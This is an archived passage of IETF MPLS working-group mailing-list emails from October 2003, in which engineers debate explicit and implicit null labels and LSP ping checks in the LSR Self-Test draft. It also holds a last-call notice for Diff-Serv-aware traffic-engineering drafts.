> 


From owner-mpls@UU.NET  Fri Oct  3 11:35:00 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA12467
	for <mpls-archive@lists.ietf.org>; Fri, 3 Oct 2003 11:34:59 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpive10461
	for <mpls-archive@lists.ietf.org>; Fri, 3 Oct 2003 15:35:07 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpive10155;
	Fri, 3 Oct 2003 15:35:01 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpivc11373
	for mpls-outgoing; Fri, 3 Oct 2003 15:13:23 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpivc11368
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 3 Oct 2003 15:13:19 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpivc16291
	for <mpls@uu.net>; Fri, 3 Oct 2003 15:08:41 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpivc09247
	for <mpls@uu.net>; Fri, 3 Oct 2003 15:08:41 GMT
Received: from sj-iport-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpivc09242
	for <mpls@uu.net>; Fri, 3 Oct 2003 15:08:41 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h93F8cJs028505
	for <mpls@uu.net>; Fri, 3 Oct 2003 08:08:38 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACW47784;
	Fri, 3 Oct 2003 11:08:36 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h93F8aJ13288 for mpls@uu.net; Fri, 3 Oct 2003 11:08:36 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpivc10485
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 3 Oct 2003 15:07:07 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpivc07110
	for <mpls@uu.net>; Fri, 3 Oct 2003 15:01:32 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpivc03157
	for <mpls@uu.net>; Fri, 3 Oct 2003 15:01:31 GMT
Received: from sj-iport-3.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQpivc03138
	for <mpls@uu.net>; Fri, 3 Oct 2003 15:01:30 GMT
Received: from cisco.com (171.71.177.238)
  by sj-iport-3.cisco.com with ESMTP; 03 Oct 2003 08:07:34 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h93F1SXg029407;
	Fri, 3 Oct 2003 08:01:28 -0700 (PDT)
Received: from bifocal.cisco.com (bifocal.cisco.com [161.44.172.150])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACW47105;
	Fri, 3 Oct 2003 11:01:27 -0400 (EDT)
Received: from localhost (swallow@localhost) by bifocal.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) with ESMTP id LAA09486; Fri, 3 Oct 2003 11:01:27 -0400 (EDT)
Message-Id: <200310031501.LAA09486@bifocal.cisco.com>
X-Authentication-Warning: bifocal.cisco.com: swallow owned process doing -bs
To: "David Allan" <dallan@nortelnetworks.com>
cc: mpls@UU.NET
Subject: Re: LSR Self test in Charter 
In-reply-to: Your message of "Fri, 03 Oct 2003 09:22:18 EDT."
             <FFFC48AEAA5F7447929F4F0D93FCC12D02B925CD@zcard031.ca.nortel.com> 
Date: Fri, 03 Oct 2003 11:01:27 -0400
From: George Swallow <swallow@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

> > No, if the packet arrives unlabeled then you necessarily had 
> > to have given out an explicit null label for that FEC.  
> 
> Seems to me there are a lot of potential reasons for an unlabelled packet
> turning up at the downstream LSR besides the downstream LSR offering
> implicit NULL.

Yes!  But the only valid one is that you gave out an explicit null.
So you check that you did in fact do that.  If not it's an error.

> > The reference to BGP was just for VPNs.  I haven't given a 
> > lot of thought to CSC yet.
> 
>  I have to admit I have trouble envisioning applicability to other than LDP
> or RSVP.

The applicability to other things comes with the FEC stack.  I've also
suggested that the error reporting procedures use the error subcode to
point to where in the stack the error occurred.  So far my co-authors
have not gotten back to me.  So I'll post my suggestions to the list
later today.

> > No, I meant that you're neighbor gave you an implicit null 
> > label so that instead of your normal swap operation of remove 
> > and replace the top label, you just remove the label.
> 
> I get the feeling we're crossing up explicit and implicit NULLs in this
> dialog. my understanding is that implicit null would never appear in the
> dataplane. 

Right!

> Your reference above to appending an implicit NULL to the stack

That's why appending an implicit null results in a PoP!

> runs counter to my understanding.

...George

========================================================================
George Swallow             Cisco Systems                  (978) 936-1398
                           1414 Massachusetts Avenue
                           Boxborough, MA 01719



From owner-mpls@UU.NET  Fri Oct  3 14:12:59 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA19021
	for <mpls-archive@lists.ietf.org>; Fri, 3 Oct 2003 14:12:59 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpivo12625
	for <mpls-archive@lists.ietf.org>; Fri, 3 Oct 2003 18:13:06 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpivo12419;
	Fri, 3 Oct 2003 18:13:00 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpivn05286
	for mpls-outgoing; Fri, 3 Oct 2003 17:51:18 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpivn05281
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 3 Oct 2003 17:51:16 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpivn12840
	for <mpls@UU.NET>; Fri, 3 Oct 2003 17:49:08 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpivn08655
	for <mpls@UU.NET>; Fri, 3 Oct 2003 17:49:08 GMT
Received: from zrtps06s.nortelnetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: zrtps06s.nortelnetworks.com [47.140.48.50])
	id QQpivn08630
	for <mpls@UU.NET>; Fri, 3 Oct 2003 17:49:07 GMT
Received: from zrtpd0jn.us.nortel.com (zrtpd0jn.us.nortel.com [47.140.202.35])
	by zrtps06s.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id h93HmW100720;
	Fri, 3 Oct 2003 13:48:32 -0400 (EDT)
Received: from zrtpd0jh.us.nortel.com ([47.140.202.34]) by zrtpd0jn.us.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id T9HCPBFK; Fri, 3 Oct 2003 13:48:33 -0400
Received: by zrtpd0jh.us.nortel.com with Internet Mail Service (5.5.2653.19)
	id <41VAYWW8>; Fri, 3 Oct 2003 13:48:33 -0400
Message-ID: <FFFC48AEAA5F7447929F4F0D93FCC12D02B925CF@zcard031.ca.nortel.com>
X-Sybari-Space: 00000000 00000000 00000000 00000000
From: "David Allan" <dallan@nortelnetworks.com>
To: "'George Swallow'" <swallow@cisco.com>
Cc: mpls@UU.NET
Subject: RE: LSR Self test in Charter 
Date: Fri, 3 Oct 2003 13:48:24 -0400 
X-Mailer: Internet Mail Service (5.5.2653.19)
Sender: owner-mpls@UU.NET
Precedence: bulk

> > > No, if the packet arrives unlabeled then you necessarily had
> > > to have given out an explicit null label for that FEC.  
> > 
> > Seems to me there are a lot of potential reasons for an unlabelled 
> > packet turning up at the downstream LSR besides the downstream LSR 
> > offering implicit NULL.
> 
> Yes!  But the only valid one is that you gave out an explicit 
> null. So you check that you did in fact do that.  If not it's 
> an error.

OK, so you assume on a TTL exhaust, the LSP PING processing in the
downstream LSR sees the whole label stack of the packet and uniquely checks
that the label (or absence of label) is correct and if a label there, the
correct binding between label and FEC exists. aka there is a very tight
coupling between LSP and PING message processing.


> <snipped>
> 
> That's why appending an implicit null results in a PoP!
> 
Have to admit, still not parsing what the implicit null is appended to...?

cheers
Dave


From owner-mpls@UU.NET  Fri Oct  3 14:40:54 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA19842
	for <mpls-archive@lists.ietf.org>; Fri, 3 Oct 2003 14:40:53 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpivq17664
	for <mpls-archive@lists.ietf.org>; Fri, 3 Oct 2003 18:41:01 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpivq17602;
	Fri, 3 Oct 2003 18:40:59 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpivp27154
	for mpls-outgoing; Fri, 3 Oct 2003 18:15:59 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpivp27149
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 3 Oct 2003 18:15:58 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpivo21360
	for <mpls@uu.net>; Fri, 3 Oct 2003 18:08:12 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpivo15977
	for <mpls@uu.net>; Fri, 3 Oct 2003 18:08:11 GMT
Received: from sj-iport-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-2-in.cisco.com [171.71.176.71])
	id QQpivo15951
	for <mpls@uu.net>; Fri, 3 Oct 2003 18:08:09 GMT
Received: from cisco.com (171.71.177.254)
  by sj-iport-2.cisco.com with ESMTP; 03 Oct 2003 11:08:20 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h93I86Js028333
	for <mpls@uu.net>; Fri, 3 Oct 2003 11:08:06 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACW65880;
	Fri, 3 Oct 2003 14:08:05 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h93I85n22536 for mpls@uu.net; Fri, 3 Oct 2003 14:08:05 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpivo24831
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 3 Oct 2003 18:06:11 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpivo23792
	for <mpls@uu.net>; Fri, 3 Oct 2003 18:02:23 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpivo00341
	for <mpls@uu.net>; Fri, 3 Oct 2003 18:02:22 GMT
Received: from sj-iport-2.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-2-in.cisco.com [171.71.176.71])
	id QQpivo00325
	for <mpls@uu.net>; Fri, 3 Oct 2003 18:02:22 GMT
Received: from cisco.com (171.68.223.138)
  by sj-iport-2.cisco.com with ESMTP; 03 Oct 2003 11:02:30 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-4.cisco.com (8.12.6/8.12.6) with ESMTP id h93I2GxW001164;
	Fri, 3 Oct 2003 11:02:16 -0700 (PDT)
Received: from bifocal.cisco.com (bifocal.cisco.com [161.44.172.150])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACW65263;
	Fri, 3 Oct 2003 14:02:15 -0400 (EDT)
Received: from localhost (swallow@localhost) by bifocal.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) with ESMTP id OAA11620; Fri, 3 Oct 2003 14:02:15 -0400 (EDT)
Message-Id: <200310031802.OAA11620@bifocal.cisco.com>
X-Authentication-Warning: bifocal.cisco.com: swallow owned process doing -bs
To: "David Allan" <dallan@nortelnetworks.com>
cc: "'George Swallow'" <swallow@cisco.com>, mpls@UU.NET, swallow@cisco.com
Subject: Re: LSR Self test in Charter 
In-reply-to: Your message of "Fri, 03 Oct 2003 13:48:24 EDT."
             <FFFC48AEAA5F7447929F4F0D93FCC12D02B925CF@zcard031.ca.nortel.com> 
Date: Fri, 03 Oct 2003 14:02:15 -0400
From: George Swallow <swallow@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

Dave -

> OK, so you assume on a TTL exhaust, the LSP PING processing in the
> downstream LSR sees the whole label stack of the packet and uniquely checks
> that the label (or absence of label) is correct and if a label there, the
> correct binding between label and FEC exists. aka there is a very tight
> coupling between LSP and PING message processing.

Yes.  But I wouldn't use the word assume.  It needs to be built that
way.

...George

========================================================================
George Swallow             Cisco Systems                  (978) 936-1398
                           1414 Massachusetts Avenue
                           Boxborough, MA 01719



From owner-mpls@UU.NET  Fri Oct  3 15:20:59 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA22678
	for <mpls-archive@lists.ietf.org>; Fri, 3 Oct 2003 15:20:59 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpivt02975
	for <mpls-archive@lists.ietf.org>; Fri, 3 Oct 2003 19:21:06 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpivt02816;
	Fri, 3 Oct 2003 19:21:03 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpivs14038
	for mpls-outgoing; Fri, 3 Oct 2003 19:03:58 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpivs12964
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 3 Oct 2003 19:03:42 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpivr09977
	for <mpls@uu.net>; Fri, 3 Oct 2003 18:58:30 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpivr06881
	for <mpls@uu.net>; Fri, 3 Oct 2003 18:58:30 GMT
Received: from sj-iport-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpivr06851
	for <mpls@uu.net>; Fri, 3 Oct 2003 18:58:29 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h93IwO5g015996
	for <mpls@uu.net>; Fri, 3 Oct 2003 14:58:25 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACW71553;
	Fri, 3 Oct 2003 14:58:24 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h93IwO926239 for mpls@uu.net; Fri, 3 Oct 2003 14:58:24 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpivr01125
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 3 Oct 2003 18:57:09 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpivr04329
	for <mpls@uu.net>; Fri, 3 Oct 2003 18:53:41 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpivr03194
	for <mpls@uu.net>; Fri, 3 Oct 2003 18:53:40 GMT
Received: from sj-iport-3.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQpivr03186
	for <mpls@uu.net>; Fri, 3 Oct 2003 18:53:40 GMT
Received: from cisco.com (64.102.124.13)
  by sj-iport-3.cisco.com with ESMTP; 03 Oct 2003 11:59:47 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h93IrZ5g014909;
	Fri, 3 Oct 2003 14:53:36 -0400 (EDT)
Received: from tnadeauw2k02 (che-vpn-cluster-2-80.cisco.com [10.86.242.80])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACW71071;
	Fri, 3 Oct 2003 14:53:34 -0400 (EDT)
Reply-To: <tnadeau@cisco.com>
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
To: "'David Allan'" <dallan@nortelnetworks.com>,
        "'George Swallow'" <swallow@cisco.com>
Cc: "'Loa Andersson'" <loa@pi.se>, "'mpls wg'" <mpls@UU.NET>,
        "'Alex Zinin'" <zinin@PSG.COM>
Subject: RE: LSR Self test in Charter 
Date: Fri, 3 Oct 2003 14:53:34 -0400
Organization: Cisco Systems, inc.
Message-ID: <058e01c389df$a609ac70$6701a8c0@amer.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
In-Reply-To: <FFFC48AEAA5F7447929F4F0D93FCC12D02B925C6@zcard031.ca.nortel.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


	Dave,

	It seems that you have technical issues that 
need to be sorted out, but aside from that, wouldn't 
you agree that this functionallity is indeed a useful
means by which to address some of the OAM requirements?

	--Tom



>-----Original Message-----
>From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET] On Behalf 
>Of David Allan
>Sent: Thursday, October 02, 2003 4:30 PM
>To: 'George Swallow'
>Cc: 'Loa Andersson'; mpls wg; Alex Zinin
>Subject: RE: LSR Self test in Charter 
>
>
>OK, consider me late to the party. If there is resolution to 
>the technical
>question I raised, I'll abstain, otherwise consider me a naysayer.
>
>Dave
>
>> -----Original Message-----
>> From: George Swallow [mailto:swallow@cisco.com] 
>> Sent: Thursday, October 02, 2003 4:18 PM
>> To: Allan, David [CAR:NS00:EXCH]
>> Cc: 'Loa Andersson'; mpls wg; George Swallow; Alex Zinin; 
>> swallow@cisco.com
>> Subject: Re: LSR Self test in Charter 
>> 
>> 
>> Dave -
>> 
>> There was strong interest expressed in the room in Vienna.  
>> Due to that, Loa only asked for nay sayers to speak up.  No 
>> one objected.  
>> 
>> I've attached the original message.
>> 
>> ...George
>> 
>> ==============================================================
>> ==========
>> George Swallow             Cisco Systems                  
>> (978) 936-1398
>>                            1414 Massachusetts Avenue
>>                            Boxborough, MA 01719
>> 
>> Date: Thu, 17 Jul 2003 11:14:46 +0200
>> From: Loa Andersson <loa@pi.se>
>> User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) 
>> Gecko/20020605
>> X-Accept-Language: en-us, en
>> MIME-Version: 1.0
>> To: MPLS WG <mpls@UU.NET>, George Swallow <swallow@cisco.com>,
>>         Alex Zinin
>>  <zinin@psg.com>
>> Subject: draft-swallow-mpls-lsr-self-test-01.txt, to wg draft
>> Content-Type: text/plain; charset=us-ascii; format=flowed
>> Content-Transfer-Encoding: 7bit
>> 
>> Working Group,
>> 
>> 
>> at the Vienna MPLS WG meeting the
>> 
>>      Label Switched Router Self-Test
>>      <draft-swallow-mpls-lsr-self-test-01.txt>
>> 
>> was discussed. There were support for making it a wg draft.
>> We will go ahead and do so shortly, this is a chance you who 
>> were not in the meeting (or did not speak up) to comment on this.
>> 
>> 
>> -- 
>> /Loa
>> 
>> mobile + 46 739 81 21 64
>> email: loa@pi.se
>> 
>> 
>



From owner-mpls@UU.NET  Fri Oct  3 15:37:15 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA23338
	for <mpls-archive@lists.ietf.org>; Fri, 3 Oct 2003 15:37:15 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpivu21757
	for <mpls-archive@lists.ietf.org>; Fri, 3 Oct 2003 19:37:22 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpivu21683;
	Fri, 3 Oct 2003 19:37:18 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpivs22059
	for mpls-outgoing; Fri, 3 Oct 2003 19:14:20 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpivs22054
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 3 Oct 2003 19:14:07 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpivs21507
	for <mpls@uu.net>; Fri, 3 Oct 2003 19:09:42 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpivs19456
	for <mpls@uu.net>; Fri, 3 Oct 2003 19:09:41 GMT
Received: from oxide.local by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [208.229.251.198])
	id QQpivs19440
	for <mpls@uu.net>; Fri, 3 Oct 2003 19:09:40 GMT
Received: from [127.0.0.1] (localhost [127.0.0.1])
	by oxide.local (8.12.9/8.12.6) with ESMTP id h93J9XDF019187
	for <mpls@uu.net>; Fri, 3 Oct 2003 12:09:33 -0700 (PDT)
Date: Fri, 03 Oct 2003 12:09:33 -0700
From: Ed Kern <ejk@tech.org>
To: mpls@UU.NET
Subject: Last Call for draft-ietf-tewg-diff-te-proto-05.txt and friends 
Message-ID: <2147483647.1065182973@[208.229.251.198]>
X-Mailer: Mulberry/3.0.3 (Mac OS X)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; FORMAT=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


##Note: This last call is being sent to te-wg,ISIS,OSPF,MPLS in separate 
emails to trim silly "respond-all" people and aggressive junk filters.

This will serve as a last call for the standards track document

draft-ietf-tewg-diff-te-proto-05.txt

available at

<http://www.ietf.org/internet-drafts/draft-ietf-tewg-diff-te-proto-05.txt>

and the "friends" (accompanying bandwidth control drafts) going towards 
experimental:

draft-ietf-tewg-diff-te-russian-04.txt

<http://www.ietf.org/internet-drafts/draft-ietf-tewg-diff-te-russian-04.txt>

draft-ietf-tewg-diff-te-mar-02.txt

<http://www.ietf.org/internet-drafts/draft-ietf-tewg-diff-te-mar-02.txt>

draft-ietf-tewg-diff-te-mam-01.txt

<http://www.ietf.org/internet-drafts/draft-ietf-tewg-diff-te-mam-01.txt>


This last call will be three weeks ending 10/24/03 after which time many 
beers will be consumed.

All comments about the drafts should be to/on the te-wg@ops.ietf.org list.

All flames about duplicates of this message to me.

thx

Ed







From owner-mpls@UU.NET  Fri Oct  3 16:00:15 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA24058
	for <mpls-archive@lists.ietf.org>; Fri, 3 Oct 2003 16:00:15 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpivw20508
	for <mpls-archive@lists.ietf.org>; Fri, 3 Oct 2003 20:00:23 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpivw20421;
	Fri, 3 Oct 2003 20:00:17 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpivu24577
	for mpls-outgoing; Fri, 3 Oct 2003 19:37:58 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpivu24570
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 3 Oct 2003 19:37:46 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpivu14152
	for <mpls@UU.NET>; Fri, 3 Oct 2003 19:37:32 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpivu22847
	for <mpls@UU.NET>; Fri, 3 Oct 2003 19:37:31 GMT
Received: from zrtps06s.nortelnetworks.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: zrtps06s.nortelnetworks.com [47.140.48.50])
	id QQpivu22790
	for <mpls@UU.NET>; Fri, 3 Oct 2003 19:37:28 GMT
Received: from zrtpd0jn.us.nortel.com (zrtpd0jn.us.nortel.com [47.140.202.35])
	by zrtps06s.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id h93JbC122510;
	Fri, 3 Oct 2003 15:37:12 -0400 (EDT)
Received: from zrtpd0jh.us.nortel.com ([47.140.202.34]) by zrtpd0jn.us.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id T9HCPLDT; Fri, 3 Oct 2003 15:37:12 -0400
Received: by zrtpd0jh.us.nortel.com with Internet Mail Service (5.5.2653.19)
	id <41VAZAYA>; Fri, 3 Oct 2003 15:37:12 -0400
Message-ID: <FFFC48AEAA5F7447929F4F0D93FCC12D02B925D6@zcard031.ca.nortel.com>
X-Sybari-Space: 00000000 00000000 00000000 00000000
From: "David Allan" <dallan@nortelnetworks.com>
To: "'tnadeau@cisco.com'" <tnadeau@cisco.com>,
        "'George Swallow'"
	 <swallow@cisco.com>
